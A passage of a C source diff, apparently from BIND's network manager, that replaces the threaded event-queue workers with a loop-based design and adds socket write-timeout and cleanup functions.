-			worker->ievents[type] = isc_queue_new(mgr->mctx, 128);
-			atomic_init(&worker->nievents[type], 0);
-		}
+		*worker = (isc__networker_t){
+			.recvbuf = isc_mem_get(loop->mctx,
+					       ISC_NETMGR_RECVBUF_SIZE),
+			.active_sockets = ISC_LIST_INITIALIZER,
+		};
 
-		worker->recvbuf = isc_mem_get(mctx, ISC_NETMGR_RECVBUF_SIZE);
-		worker->sendbuf = isc_mem_get(mctx, ISC_NETMGR_SENDBUF_SIZE);
+		isc_nm_attach(netmgr, &worker->netmgr);
 
-		/*
-		 * We need to do this here and not in nm_thread to avoid a
-		 * race - we could exit isc_nm_start, launch nm_destroy,
-		 * and nm_thread would still not be up.
-		 */
-		mgr->workers_running++;
-		isc_thread_create(nm_thread, &mgr->workers[i], &worker->thread);
+		isc_mem_attach(loop->mctx, &worker->mctx);
+
+		isc_mempool_create(worker->mctx, sizeof(isc__nm_uvreq_t),
+				   &worker->uvreq_pool);
+		isc_mempool_setfreemax(worker->uvreq_pool, ISC_NM_UVREQS_MAX);
 
-		snprintf(name, sizeof(name), "isc-net-%04zu", i);
-		isc_thread_setname(worker->thread, name);
+		isc_loop_attach(loop, &worker->loop);
+		isc_loop_teardown(loop, networker_teardown, worker);
+		isc_refcount_init(&worker->references, 1);
 	}
 
-	mgr->magic = NM_MAGIC;
-	*netmgrp = mgr;
+	*netmgrp = netmgr;
 }
 
 /*
@@ -349,7 +255,6 @@ isc__netmgr_create(isc_mem_t *mctx, uint32_t workers, isc_nm_t **netmgrp) {
 static void
 nm_destroy(isc_nm_t **mgr0) {
 	REQUIRE(VALID_NM(*mgr0));
-	REQUIRE(!isc__nm_in_netthread());
 
 	isc_nm_t *mgr = *mgr0;
 	*mgr0 = NULL;
@@ -358,176 +263,17 @@ nm_destroy(isc_nm_t **mgr0) {
 
 	mgr->magic = 0;
 
-	for (int i = 0; i < mgr->nworkers; i++) {
-		isc__networker_t *worker = &mgr->workers[i];
-		isc__netievent_t *event = isc__nm_get_netievent_stop(mgr);
-		isc__nm_enqueue_ievent(worker, event);
-	}
-
-	LOCK(&mgr->lock);
-	while (mgr->workers_running > 0) {
-		WAIT(&mgr->wkstatecond, &mgr->lock);
-	}
-	UNLOCK(&mgr->lock);
-
-	for (int i = 0; i < mgr->nworkers; i++) {
-		isc__networker_t *worker = &mgr->workers[i];
-		isc__netievent_t *ievent = NULL;
-		int r;
-
-		/* Empty the async event queues */
-		while ((ievent = DEQUEUE_PRIORITY_NETIEVENT(worker)) != NULL) {
-			isc_mempool_put(mgr->evpool, ievent);
-		}
-
-		INSIST(DEQUEUE_PRIVILEGED_NETIEVENT(worker) == NULL);
-		INSIST(DEQUEUE_TASK_NETIEVENT(worker) == NULL);
-
-		while ((ievent = DEQUEUE_PRIORITY_NETIEVENT(worker)) != NULL) {
-			isc_mempool_put(mgr->evpool, ievent);
-		}
-		isc_condition_destroy(&worker->cond_prio);
-
-		r = uv_loop_close(&worker->loop);
-		INSIST(r == 0);
-
-		for (size_t type = 0; type < NETIEVENT_MAX; type++) {
-			isc_queue_destroy(worker->ievents[type]);
-		}
-
-		isc_mem_put(mgr->mctx, worker->sendbuf,
-			    ISC_NETMGR_SENDBUF_SIZE);
-		isc_mem_put(mgr->mctx, worker->recvbuf,
-			    ISC_NETMGR_RECVBUF_SIZE);
-		isc_thread_join(worker->thread, NULL);
-	}
-
 	if (mgr->stats != NULL) {
 		isc_stats_detach(&mgr->stats);
 	}
 
-	isc_barrier_destroy(&mgr->resuming);
-	isc_barrier_destroy(&mgr->pausing);
-
-	isc_condition_destroy(&mgr->wkstatecond);
-	isc_condition_destroy(&mgr->wkpausecond);
 	isc_mutex_destroy(&mgr->lock);
 
-	isc_mempool_destroy(&mgr->evpool);
-	isc_mutex_destroy(&mgr->evlock);
-
-	isc_mempool_destroy(&mgr->reqpool);
-	isc_mutex_destroy(&mgr->reqlock);
-
-	isc_mem_put(mgr->mctx, mgr->workers,
-		    mgr->nworkers * sizeof(isc__networker_t));
+	isc_mem_cput(mgr->mctx, mgr->workers, mgr->nloops,
+		     sizeof(mgr->workers[0]));
 	isc_mem_putanddetach(&mgr->mctx, mgr, sizeof(*mgr));
 }
 
-static void
-enqueue_pause(isc__networker_t *worker) {
-	isc__netievent_pause_t *event =
-		isc__nm_get_netievent_pause(worker->mgr);
-	isc__nm_enqueue_ievent(worker, (isc__netievent_t *)event);
-}
-
-static void
-isc__nm_async_pause(isc__networker_t *worker, isc__netievent_t *ev0) {
-	UNUSED(ev0);
-	REQUIRE(worker->paused == false);
-
-	worker->paused = true;
-	uv_stop(&worker->loop);
-}
-
-void
-isc_nm_pause(isc_nm_t *mgr) {
-	REQUIRE(VALID_NM(mgr));
-	REQUIRE(!atomic_load(&mgr->paused));
-
-	isc__nm_acquire_interlocked_force(mgr);
-
-	if (isc__nm_in_netthread()) {
-		REQUIRE(isc_nm_tid() == 0);
-	}
-
-	for (int i = 0; i < mgr->nworkers; i++) {
-		isc__networker_t *worker = &mgr->workers[i];
-		if (i == isc_nm_tid()) {
-			isc__nm_async_pause(worker, NULL);
-		} else {
-			enqueue_pause(worker);
-		}
-	}
-
-	if (isc__nm_in_netthread()) {
-		atomic_fetch_add(&mgr->workers_paused, 1);
-		isc_barrier_wait(&mgr->pausing);
-	}
-
-	LOCK(&mgr->lock);
-	while (atomic_load(&mgr->workers_paused) != mgr->workers_running) {
-		WAIT(&mgr->wkstatecond, &mgr->lock);
-	}
-	UNLOCK(&mgr->lock);
-
-	REQUIRE(atomic_compare_exchange_strong(&mgr->paused, &(bool){ false },
-					       true));
-}
-
-static void
-enqueue_resume(isc__networker_t *worker) {
-	isc__netievent_resume_t *event =
-		isc__nm_get_netievent_resume(worker->mgr);
-	isc__nm_enqueue_ievent(worker, (isc__netievent_t *)event);
-}
-
-static void
-isc__nm_async_resume(isc__networker_t *worker, isc__netievent_t *ev0) {
-	UNUSED(ev0);
-	REQUIRE(worker->paused == true);
-
-	worker->paused = false;
-}
-
-void
-isc_nm_resume(isc_nm_t *mgr) {
-	REQUIRE(VALID_NM(mgr));
-	REQUIRE(atomic_load(&mgr->paused));
-
-	if (isc__nm_in_netthread()) {
-		REQUIRE(isc_nm_tid() == 0);
-		drain_queue(&mgr->workers[isc_nm_tid()], NETIEVENT_PRIORITY);
-	}
-
-	for (int i = 0; i < mgr->nworkers; i++) {
-		isc__networker_t *worker = &mgr->workers[i];
-		if (i == isc_nm_tid()) {
-			isc__nm_async_resume(worker, NULL);
-		} else {
-			enqueue_resume(worker);
-		}
-	}
-
-	if (isc__nm_in_netthread()) {
-		drain_queue(&mgr->workers[isc_nm_tid()], NETIEVENT_PRIVILEGED);
-
-		atomic_fetch_sub(&mgr->workers_paused, 1);
-		isc_barrier_wait(&mgr->resuming);
-	}
-
-	LOCK(&mgr->lock);
-	while (atomic_load(&mgr->workers_paused) != 0) {
-		WAIT(&mgr->wkstatecond, &mgr->lock);
-	}
-	UNLOCK(&mgr->lock);
-
-	REQUIRE(atomic_compare_exchange_strong(&mgr->paused, &(bool){ true },
-					       false));
-
-	isc__nm_drop_interlocked(mgr);
-}
-
 void
 isc_nm_attach(isc_nm_t *mgr, isc_nm_t **dst) {
 	REQUIRE(VALID_NM(mgr));
@@ -554,64 +300,46 @@ isc_nm_detach(isc_nm_t **mgr0) {
 }
 
 void
-isc__netmgr_shutdown(isc_nm_t *mgr) {
-	REQUIRE(VALID_NM(mgr));
-
-	atomic_store(&mgr->closing, true);
-	for (int i = 0; i < mgr->nworkers; i++) {
-		isc__netievent_t *event = NULL;
-		event = isc__nm_get_netievent_shutdown(mgr);
-		isc__nm_enqueue_ievent(&mgr->workers[i], event);
-	}
-}
-
-void
-isc__netmgr_destroy(isc_nm_t **netmgrp) {
+isc_netmgr_destroy(isc_nm_t **netmgrp) {
 	isc_nm_t *mgr = NULL;
-	int counter = 0;
 
 	REQUIRE(VALID_NM(*netmgrp));
 
 	mgr = *netmgrp;
+	*netmgrp = NULL;
 
-	/*
-	 * Close active connections.
-	 */
-	isc__netmgr_shutdown(mgr);
-
-	/*
-	 * Wait for the manager to be dereferenced elsewhere.
-	 */
-	while (isc_refcount_current(&mgr->references) > 1 && counter++ < 1000) {
-		uv_sleep(10);
-	}
-
-#ifdef NETMGR_TRACE
-	if (isc_refcount_current(&mgr->references) > 1) {
-		isc__nm_dump_active(mgr);
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-#endif
-
-	/*
-	 * Now just patiently wait
-	 */
-	while (isc_refcount_current(&mgr->references) > 1) {
-		uv_sleep(10);
-	}
-
-	/*
-	 * Detach final reference.
-	 */
-	isc_nm_detach(netmgrp);
+	REQUIRE(isc_refcount_decrement(&mgr->references) == 1);
+	nm_destroy(&mgr);
 }
 
 void
 isc_nm_maxudp(isc_nm_t *mgr, uint32_t maxudp) {
 	REQUIRE(VALID_NM(mgr));
 
-	atomic_store(&mgr->maxudp, maxudp);
+	atomic_store_relaxed(&mgr->maxudp, maxudp);
+}
+
+void
+isc_nmhandle_setwritetimeout(isc_nmhandle_t *handle, uint64_t write_timeout) {
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	REQUIRE(handle->sock->tid == isc_tid());
+
+	switch (handle->sock->type) {
+	case isc_nm_tcpsocket:
+	case isc_nm_udpsocket:
+		handle->sock->write_timeout = write_timeout;
+		break;
+	case isc_nm_tlssocket:
+		isc__nmhandle_tls_setwritetimeout(handle, write_timeout);
+		break;
+	case isc_nm_streamdnssocket:
+		isc__nmhandle_streamdns_setwritetimeout(handle, write_timeout);
+		break;
+	default:
+		UNREACHABLE();
+		break;
+	}
 }
 
 void
@@ -619,10 +347,10 @@ isc_nm_settimeouts(isc_nm_t *mgr, uint32_t init, uint32_t idle,
 		   uint32_t keepalive, uint32_t advertised) {
 	REQUIRE(VALID_NM(mgr));
 
-	atomic_store(&mgr->init, init);
-	atomic_store(&mgr->idle, idle);
-	atomic_store(&mgr->keepalive, keepalive);
-	atomic_store(&mgr->advertised, advertised);
+	atomic_store_relaxed(&mgr->init, init);
+	atomic_store_relaxed(&mgr->idle, idle);
+	atomic_store_relaxed(&mgr->keepalive, keepalive);
+	atomic_store_relaxed(&mgr->advertised, advertised);
 }
 
 void
@@ -630,10 +358,26 @@ isc_nm_setnetbuffers(isc_nm_t *mgr, int32_t recv_tcp, int32_t send_tcp,
 		     int32_t recv_udp, int32_t send_udp) {
 	REQUIRE(VALID_NM(mgr));
 
-	atomic_store(&mgr->recv_tcp_buffer_size, recv_tcp);
-	atomic_store(&mgr->send_tcp_buffer_size, send_tcp);
-	atomic_store(&mgr->recv_udp_buffer_size, recv_udp);
-	atomic_store(&mgr->send_udp_buffer_size, send_udp);
+	atomic_store_relaxed(&mgr->recv_tcp_buffer_size, recv_tcp);
+	atomic_store_relaxed(&mgr->send_tcp_buffer_size, send_tcp);
+	atomic_store_relaxed(&mgr->recv_udp_buffer_size, recv_udp);
+	atomic_store_relaxed(&mgr->send_udp_buffer_size, send_udp);
+}
+
+bool
+isc_nm_getloadbalancesockets(isc_nm_t *mgr) {
+	REQUIRE(VALID_NM(mgr));
+
+	return (mgr->load_balance_sockets);
+}
+
+void
+isc_nm_setloadbalancesockets(isc_nm_t *mgr, ISC_ATTR_UNUSED bool enabled) {
+	REQUIRE(VALID_NM(mgr));
+
+#if HAVE_SO_REUSEPORT_LB
+	mgr->load_balance_sockets = enabled;
+#endif
 }
 
 void
@@ -641,667 +385,147 @@ isc_nm_gettimeouts(isc_nm_t *mgr, uint32_t *initial, uint32_t *idle,
 		   uint32_t *keepalive, uint32_t *advertised) {
 	REQUIRE(VALID_NM(mgr));
 
-	if (initial != NULL) {
-		*initial = atomic_load(&mgr->init);
-	}
+	SET_IF_NOT_NULL(initial, atomic_load_relaxed(&mgr->init));
 
-	if (idle != NULL) {
-		*idle = atomic_load(&mgr->idle);
-	}
+	SET_IF_NOT_NULL(idle, atomic_load_relaxed(&mgr->idle));
 
-	if (keepalive != NULL) {
-		*keepalive = atomic_load(&mgr->keepalive);
-	}
+	SET_IF_NOT_NULL(keepalive, atomic_load_relaxed(&mgr->keepalive));
 
-	if (advertised != NULL) {
-		*advertised = atomic_load(&mgr->advertised);
-	}
+	SET_IF_NOT_NULL(advertised, atomic_load_relaxed(&mgr->advertised));
 }
 
-/*
- * nm_thread is a single worker thread, that runs uv_run event loop
- * until asked to stop.
- *
- * There are four queues for asynchronous events:
- *
- * 1. priority queue - netievents on the priority queue are run even when
- *    the taskmgr enters exclusive mode and the netmgr is paused.  This
- *    is needed to properly start listening on the interfaces, free
- *    resources on shutdown, or resume from a pause.
- *
- * 2. privileged task queue - only privileged tasks are queued here and
- *    this is the first queue that gets processed when network manager
- *    is unpaused using isc_nm_resume().  All netmgr workers need to
- *    clean the privileged task queue before they all proceed to normal
- *    operation.  Both task queues are processed when the workers are
- *    shutting down.
- *
- * 3. task queue - only (traditional) tasks are scheduled here, and this
- *    queue and the privileged task queue are both processed when the
- *    netmgr workers are finishing.  This is needed to process the task
- *    shutdown events.
- *
- * 4. normal queue - this is the queue with netmgr events, e.g. reading,
- *    sending, callbacks, etc.
- */
+bool
+isc__nmsocket_active(isc_nmsocket_t *sock) {
+	REQUIRE(VALID_NMSOCK(sock));
 
-static isc_threadresult_t
-nm_thread(isc_threadarg_t worker0) {
-	isc__networker_t *worker = (isc__networker_t *)worker0;
-	isc_nm_t *mgr = worker->mgr;
+	return (sock->active);
+}
 
-	isc__nm_tid_v = worker->id;
-	isc_thread_setaffinity(isc__nm_tid_v);
+void
+isc___nmsocket_attach(isc_nmsocket_t *sock, isc_nmsocket_t **target FLARG) {
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(target != NULL && *target == NULL);
 
-	while (true) {
-		/*
-		 * uv_run() runs async_cb() in a loop, which processes
-		 * all four event queues until a "pause" or "stop" event
-		 * is encountered. On pause, we process only priority and
-		 * privileged events until resuming.
-		 */
-		int r = uv_run(&worker->loop, UV_RUN_DEFAULT);
-		INSIST(r > 0 || worker->finished);
+	isc_nmsocket_t *rsock = NULL;
 
-		if (worker->paused) {
-			INSIST(atomic_load(&mgr->interlocked) != isc_nm_tid());
+	if (sock->parent != NULL) {
+		rsock = sock->parent;
+		INSIST(rsock->parent == NULL); /* sanity check */
+	} else {
+		rsock = sock;
+	}
 
-			atomic_fetch_add(&mgr->workers_paused, 1);
-			if (isc_barrier_wait(&mgr->pausing) != 0) {
-				LOCK(&mgr->lock);
-				SIGNAL(&mgr->wkstatecond);
-				UNLOCK(&mgr->lock);
-			}
+	NETMGR_TRACE_LOG("isc__nmsocket_attach():%p->references = %" PRIuFAST32
+			 "\n",
+			 rsock, isc_refcount_current(&rsock->references) + 1);
 
-			while (worker->paused) {
-				wait_for_priority_queue(worker);
-			}
+	isc_refcount_increment0(&rsock->references);
 
-			/*
-			 * All workers must drain the privileged event
-			 * queue before we resume from pause.
-			 */
-			drain_queue(worker, NETIEVENT_PRIVILEGED);
+	*target = sock;
+}
 
-			atomic_fetch_sub(&mgr->workers_paused, 1);
-			if (isc_barrier_wait(&mgr->resuming) != 0) {
-				LOCK(&mgr->lock);
-				SIGNAL(&mgr->wkstatecond);
-				UNLOCK(&mgr->lock);
-			}
-		}
+/*
+ * Free all resources inside a socket (including its children if any).
+ */
+static void
+nmsocket_cleanup(void *arg) {
+	isc_nmsocket_t *sock = arg;
 
-		if (r == 0) {
-			INSIST(worker->finished);
-			break;
-		}
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(!isc__nmsocket_active(sock));
 
-		INSIST(!worker->finished);
-	}
+	isc_nmhandle_t *handle = NULL;
+	isc__networker_t *worker = sock->worker;
 
-	/*
-	 * We are shutting down. Process the task queues
-	 * (they may include shutdown events) but do not process
-	 * the netmgr event queue.
-	 */
-	drain_queue(worker, NETIEVENT_PRIVILEGED);
-	drain_queue(worker, NETIEVENT_TASK);
+	isc_refcount_destroy(&sock->references);
 
-	LOCK(&mgr->lock);
-	mgr->workers_running--;
-	SIGNAL(&mgr->wkstatecond);
-	UNLOCK(&mgr->lock);
+	isc__nm_decstats(sock, STATID_ACTIVE);
 
-	return ((isc_threadresult_t)0);
-}
+	REQUIRE(!sock->destroying);
+	sock->destroying = true;
 
-static bool
-process_all_queues(isc__networker_t *worker) {
-	bool reschedule = false;
-	/*
-	 * The queue processing functions will return false when the
-	 * system is pausing or stopping and we don't want to process
-	 * the other queues in such case, but we need the async event
-	 * to be rescheduled in the next uv_run().
-	 */
-	for (size_t type = 0; type < NETIEVENT_MAX; type++) {
-		isc_result_t result = process_queue(worker, type);
-		switch (result) {
-		case ISC_R_SUSPEND:
-			return (true);
-		case ISC_R_EMPTY:
-			/* empty queue */
-			break;
-		case ISC_R_SUCCESS:
-			reschedule = true;
-			break;
-		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+	if (sock->parent == NULL && sock->children != NULL) {
+		/*
+		 * We shouldn't be here unless there are no active handles,
+		 * so we can clean up and free the children.
+		 */
+		for (size_t i = 0; i < sock->nchildren; i++) {
+			isc_refcount_decrementz(&sock->children[i].references);
+			nmsocket_cleanup(&sock->children[i]);
 		}
-	}
-
-	return (reschedule);
-}
-
-/*
- * async_cb() is a universal callback for 'async' events sent to event loop.
- * It's the only way to safely pass data to the libuv event loop. We use a
- * single async event and a set of lockless queues of 'isc__netievent_t'
- * structures passed from other threads.
- */
-static void
-async_cb(uv_async_t *handle) {
-	isc__networker_t *worker = (isc__networker_t *)handle->loop->data;
 
-	if (process_all_queues(worker)) {
 		/*
-		 * If we didn't process all the events, we need to enqueue
-		 * async_cb to be run in the next iteration of the uv_loop
+		 * Now free them.
 		 */
-		uv_async_send(handle);
+		isc_mem_cput(sock->worker->mctx, sock->children,
+			     sock->nchildren, sizeof(*sock));
+		sock->children = NULL;
+		sock->nchildren = 0;
 	}
-}
-
-static void
-isc__nm_async_stop(isc__networker_t *worker, isc__netievent_t *ev0) {
-	UNUSED(ev0);
-	worker->finished = true;
-	/* Close the async handler */
-	uv_close((uv_handle_t *)&worker->async, NULL);
-}
 
-void
-isc_nm_task_enqueue(isc_nm_t *nm, isc_task_t *task, int threadid) {
-	isc__netievent_t *event = NULL;
-	int tid;
-	isc__networker_t *worker = NULL;
+	sock->statichandle = NULL;
 
-	if (threadid == -1) {
-		tid = (int)isc_random_uniform(nm->nworkers);
-	} else {
-		tid = threadid % nm->nworkers;
+	if (sock->outerhandle != NULL) {
+		isc_nmhandle_detach(&sock->outerhandle);
 	}
 
-	worker = &nm->workers[tid];
+	if (sock->outer != NULL) {
+		isc__nmsocket_detach(&sock->outer);
+	}
 
-	if (isc_task_privileged(task)) {
-		event = (isc__netievent_t *)
-			isc__nm_get_netievent_privilegedtask(nm, task);
-	} else {
-		event = (isc__netievent_t *)isc__nm_get_netievent_task(nm,
-								       task);
+	while ((handle = ISC_LIST_HEAD(sock->inactive_handles)) != NULL) {
+		ISC_LIST_DEQUEUE(sock->inactive_handles, handle, inactive_link);
+		nmhandle_free(sock, handle);
 	}
 
-	isc__nm_enqueue_ievent(worker, event);
-}
-
-#define isc__nm_async_privilegedtask(worker, ev0) \
-	isc__nm_async_task(worker, ev0)
-
-static void
-isc__nm_async_task(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_task_t *ievent = (isc__netievent_task_t *)ev0;
-	isc_result_t result;
-
-	UNUSED(worker);
-
-	result = isc_task_run(ievent->task);
-
-	switch (result) {
-	case ISC_R_QUOTA:
-		isc_task_ready(ievent->task);
-		return;
-	case ISC_R_SUCCESS:
-		return;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-}
-
-static void
-wait_for_priority_queue(isc__networker_t *worker) {
-	isc_condition_t *cond = &worker->cond_prio;
-	bool wait_for_work = true;
-
-	while (true) {
-		isc__netievent_t *ievent;
-		LOCK(&worker->lock);
-		ievent = DEQUEUE_PRIORITY_NETIEVENT(worker);
-		if (wait_for_work) {
-			while (ievent == NULL) {
-				WAIT(cond, &worker->lock);
-				ievent = DEQUEUE_PRIORITY_NETIEVENT(worker);
-			}
-		}
-		UNLOCK(&worker->lock);
-		wait_for_work = false;
-
-		if (ievent == NULL) {
-			return;
-		}
-		DECREMENT_PRIORITY_NETIEVENT(worker);
-
-		(void)process_netievent(worker, ievent);
-	}
-}
-
-static void
-drain_queue(isc__networker_t *worker, netievent_type_t type) {
-	while (process_queue(worker, type) != ISC_R_EMPTY) {
-		;
-	}
-}
-
-/*
- * The two macros here generate the individual cases for the process_netievent()
- * function.  The NETIEVENT_CASE(type) macro is the common case, and
- * NETIEVENT_CASE_NOMORE(type) is a macro that causes the loop in the
- * process_queue() to stop, e.g. it's only used for the netievent that
- * stops/pauses processing the enqueued netievents.
- */
-#define NETIEVENT_CASE(type)                                               \
-	case netievent_##type: {                                           \
-		isc__nm_async_##type(worker, ievent);                      \
-		isc__nm_put_netievent_##type(                              \
-			worker->mgr, (isc__netievent_##type##_t *)ievent); \
-		return (true);                                             \
-	}
-
-#define NETIEVENT_CASE_NOMORE(type)                                \
-	case netievent_##type: {                                   \
-		isc__nm_async_##type(worker, ievent);              \
-		isc__nm_put_netievent_##type(worker->mgr, ievent); \
-		return (false);                                    \
-	}
-
-static bool
-process_netievent(isc__networker_t *worker, isc__netievent_t *ievent) {
-	REQUIRE(worker->id == isc_nm_tid());
-
-	switch (ievent->type) {
-		/* Don't process more ievents when we are stopping */
-		NETIEVENT_CASE_NOMORE(stop);
-
-		NETIEVENT_CASE(privilegedtask);
-		NETIEVENT_CASE(task);
-
-		NETIEVENT_CASE(udpconnect);
-		NETIEVENT_CASE(udplisten);
-		NETIEVENT_CASE(udpstop);
-		NETIEVENT_CASE(udpsend);
-		NETIEVENT_CASE(udpread);
-		NETIEVENT_CASE(udpcancel);
-		NETIEVENT_CASE(udpclose);
-
-		NETIEVENT_CASE(tcpaccept);
-		NETIEVENT_CASE(tcpconnect);
-		NETIEVENT_CASE(tcplisten);
-		NETIEVENT_CASE(tcpstartread);
-		NETIEVENT_CASE(tcppauseread);
-		NETIEVENT_CASE(tcpsend);
-		NETIEVENT_CASE(tcpstop);
-		NETIEVENT_CASE(tcpcancel);
-		NETIEVENT_CASE(tcpclose);
-
-		NETIEVENT_CASE(tcpdnsaccept);
-		NETIEVENT_CASE(tcpdnslisten);
-		NETIEVENT_CASE(tcpdnsconnect);
-		NETIEVENT_CASE(tcpdnssend);
-		NETIEVENT_CASE(tcpdnscancel);
-		NETIEVENT_CASE(tcpdnsclose);
-		NETIEVENT_CASE(tcpdnsread);
-		NETIEVENT_CASE(tcpdnsstop);
-
-		NETIEVENT_CASE(tlsstartread);
-		NETIEVENT_CASE(tlssend);
-		NETIEVENT_CASE(tlsclose);
-		NETIEVENT_CASE(tlsdobio);
-		NETIEVENT_CASE(tlscancel);
-
-		NETIEVENT_CASE(tlsdnscycle);
-		NETIEVENT_CASE(tlsdnsaccept);
-		NETIEVENT_CASE(tlsdnslisten);
-		NETIEVENT_CASE(tlsdnsconnect);
-		NETIEVENT_CASE(tlsdnssend);
-		NETIEVENT_CASE(tlsdnscancel);
-		NETIEVENT_CASE(tlsdnsclose);
-		NETIEVENT_CASE(tlsdnsread);
-		NETIEVENT_CASE(tlsdnsstop);
-		NETIEVENT_CASE(tlsdnsshutdown);
-
-		NETIEVENT_CASE(httpstop);
-		NETIEVENT_CASE(httpsend);
-		NETIEVENT_CASE(httpclose);
-
-		NETIEVENT_CASE(connectcb);
-		NETIEVENT_CASE(readcb);
-		NETIEVENT_CASE(sendcb);
-
-		NETIEVENT_CASE(close);
-		NETIEVENT_CASE(detach);
-
-		NETIEVENT_CASE(shutdown);
-		NETIEVENT_CASE(resume);
-		NETIEVENT_CASE_NOMORE(pause);
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-	return (true);
-}
-
-static isc_result_t
-process_queue(isc__networker_t *worker, netievent_type_t type) {
-	/*
-	 * The number of items on the queue is only loosely synchronized with
-	 * the items on the queue.  But there's a guarantee that if there's an
-	 * item on the queue, it will be accounted for.  However there's a
-	 * possibility that the counter might be higher than the items on the
-	 * queue stored.
-	 */
-	uint_fast32_t waiting = atomic_load_acquire(&worker->nievents[type]);
-	isc__netievent_t *ievent = DEQUEUE_NETIEVENT(worker, type);
-
-	if (ievent == NULL && waiting == 0) {
-		/* There's nothing scheduled */
-		return (ISC_R_EMPTY);
-	} else if (ievent == NULL) {
-		/* There's at least one item scheduled, but not on the queue yet
-		 */
-		return (ISC_R_SUCCESS);
-	}
-
-	while (ievent != NULL) {
-		DECREMENT_NETIEVENT(worker, type);
-		bool stop = !process_netievent(worker, ievent);
-
-		if (stop) {
-			/* Netievent told us to stop */
-			return (ISC_R_SUSPEND);
-		}
-
-		if (waiting-- == 0) {
-			/* We reached this round "quota" */
-			break;
-		}
-
-		ievent = DEQUEUE_NETIEVENT(worker, type);
-	}
-
-	/* We processed at least one */
-	return (ISC_R_SUCCESS);
-}
-
-void *
-isc__nm_get_netievent(isc_nm_t *mgr, isc__netievent_type type) {
-	isc__netievent_storage_t *event = isc_mempool_get(mgr->evpool);
-
-	*event = (isc__netievent_storage_t){ .ni.type = type };
-	return (event);
-}
-
-void
-isc__nm_put_netievent(isc_nm_t *mgr, void *ievent) {
-	isc_mempool_put(mgr->evpool, ievent);
-}
-
-NETIEVENT_SOCKET_DEF(tcpclose);
-NETIEVENT_SOCKET_DEF(tcplisten);
-NETIEVENT_SOCKET_DEF(tcppauseread);
-NETIEVENT_SOCKET_DEF(tcpstartread);
-NETIEVENT_SOCKET_DEF(tcpstop);
-NETIEVENT_SOCKET_DEF(tlsclose);
-NETIEVENT_SOCKET_DEF(tlsconnect);
-NETIEVENT_SOCKET_DEF(tlsdobio);
-NETIEVENT_SOCKET_DEF(tlsstartread);
-NETIEVENT_SOCKET_HANDLE_DEF(tlscancel);
-NETIEVENT_SOCKET_DEF(udpclose);
-NETIEVENT_SOCKET_DEF(udplisten);
-NETIEVENT_SOCKET_DEF(udpread);
-NETIEVENT_SOCKET_DEF(udpsend);
-NETIEVENT_SOCKET_DEF(udpstop);
-
-NETIEVENT_SOCKET_DEF(tcpdnsclose);
-NETIEVENT_SOCKET_DEF(tcpdnsread);
-NETIEVENT_SOCKET_DEF(tcpdnsstop);
-NETIEVENT_SOCKET_DEF(tcpdnslisten);
-NETIEVENT_SOCKET_REQ_DEF(tcpdnsconnect);
-NETIEVENT_SOCKET_REQ_DEF(tcpdnssend);
-NETIEVENT_SOCKET_HANDLE_DEF(tcpdnscancel);
-NETIEVENT_SOCKET_QUOTA_DEF(tcpdnsaccept);
-
-NETIEVENT_SOCKET_DEF(tlsdnsclose);
-NETIEVENT_SOCKET_DEF(tlsdnsread);
-NETIEVENT_SOCKET_DEF(tlsdnsstop);
-NETIEVENT_SOCKET_DEF(tlsdnslisten);
-NETIEVENT_SOCKET_REQ_DEF(tlsdnsconnect);
-NETIEVENT_SOCKET_REQ_DEF(tlsdnssend);
-NETIEVENT_SOCKET_HANDLE_DEF(tlsdnscancel);
-NETIEVENT_SOCKET_QUOTA_DEF(tlsdnsaccept);
-NETIEVENT_SOCKET_DEF(tlsdnscycle);
-NETIEVENT_SOCKET_DEF(tlsdnsshutdown);
-
-NETIEVENT_SOCKET_DEF(httpstop);
-NETIEVENT_SOCKET_REQ_DEF(httpsend);
-NETIEVENT_SOCKET_DEF(httpclose);
-
-NETIEVENT_SOCKET_REQ_DEF(tcpconnect);
-NETIEVENT_SOCKET_REQ_DEF(tcpsend);
-NETIEVENT_SOCKET_REQ_DEF(tlssend);
-NETIEVENT_SOCKET_REQ_DEF(udpconnect);
-NETIEVENT_SOCKET_REQ_RESULT_DEF(connectcb);
-NETIEVENT_SOCKET_REQ_RESULT_DEF(readcb);
-NETIEVENT_SOCKET_REQ_RESULT_DEF(sendcb);
-
-NETIEVENT_SOCKET_DEF(detach);
-NETIEVENT_SOCKET_HANDLE_DEF(tcpcancel);
-NETIEVENT_SOCKET_HANDLE_DEF(udpcancel);
-
-NETIEVENT_SOCKET_QUOTA_DEF(tcpaccept);
-
-NETIEVENT_SOCKET_DEF(close);
-NETIEVENT_DEF(pause);
-NETIEVENT_DEF(resume);
-NETIEVENT_DEF(shutdown);
-NETIEVENT_DEF(stop);
-
-NETIEVENT_TASK_DEF(task);
-NETIEVENT_TASK_DEF(privilegedtask);
-
-void
-isc__nm_maybe_enqueue_ievent(isc__networker_t *worker,
-			     isc__netievent_t *event) {
-	/*
-	 * If we are already in the matching nmthread, process the ievent
-	 * directly.
-	 */
-	if (worker->id == isc_nm_tid()) {
-		process_netievent(worker, event);
-		return;
-	}
+	INSIST(sock->server == NULL);
+	sock->pquota = NULL;
 
-	isc__nm_enqueue_ievent(worker, event);
-}
+	isc__nm_tls_cleanup_data(sock);
+#if HAVE_LIBNGHTTP2
+	isc__nm_http_cleanup_data(sock);
+#endif
+	isc__nm_streamdns_cleanup_data(sock);
 
-void
-isc__nm_enqueue_ievent(isc__networker_t *worker, isc__netievent_t *event) {
-	if (event->type > netievent_prio) {
-		/*
-		 * We need to make sure this signal will be delivered and
-		 * the queue will be processed.
-		 */
-		LOCK(&worker->lock);
-		INCREMENT_PRIORITY_NETIEVENT(worker);
-		ENQUEUE_PRIORITY_NETIEVENT(worker, event);
-		SIGNAL(&worker->cond_prio);
-		UNLOCK(&worker->lock);
-	} else if (event->type == netievent_privilegedtask) {
-		INCREMENT_PRIVILEGED_NETIEVENT(worker);
-		ENQUEUE_PRIVILEGED_NETIEVENT(worker, event);
-	} else if (event->type == netievent_task) {
-		INCREMENT_TASK_NETIEVENT(worker);
-		ENQUEUE_TASK_NETIEVENT(worker, event);
-	} else {
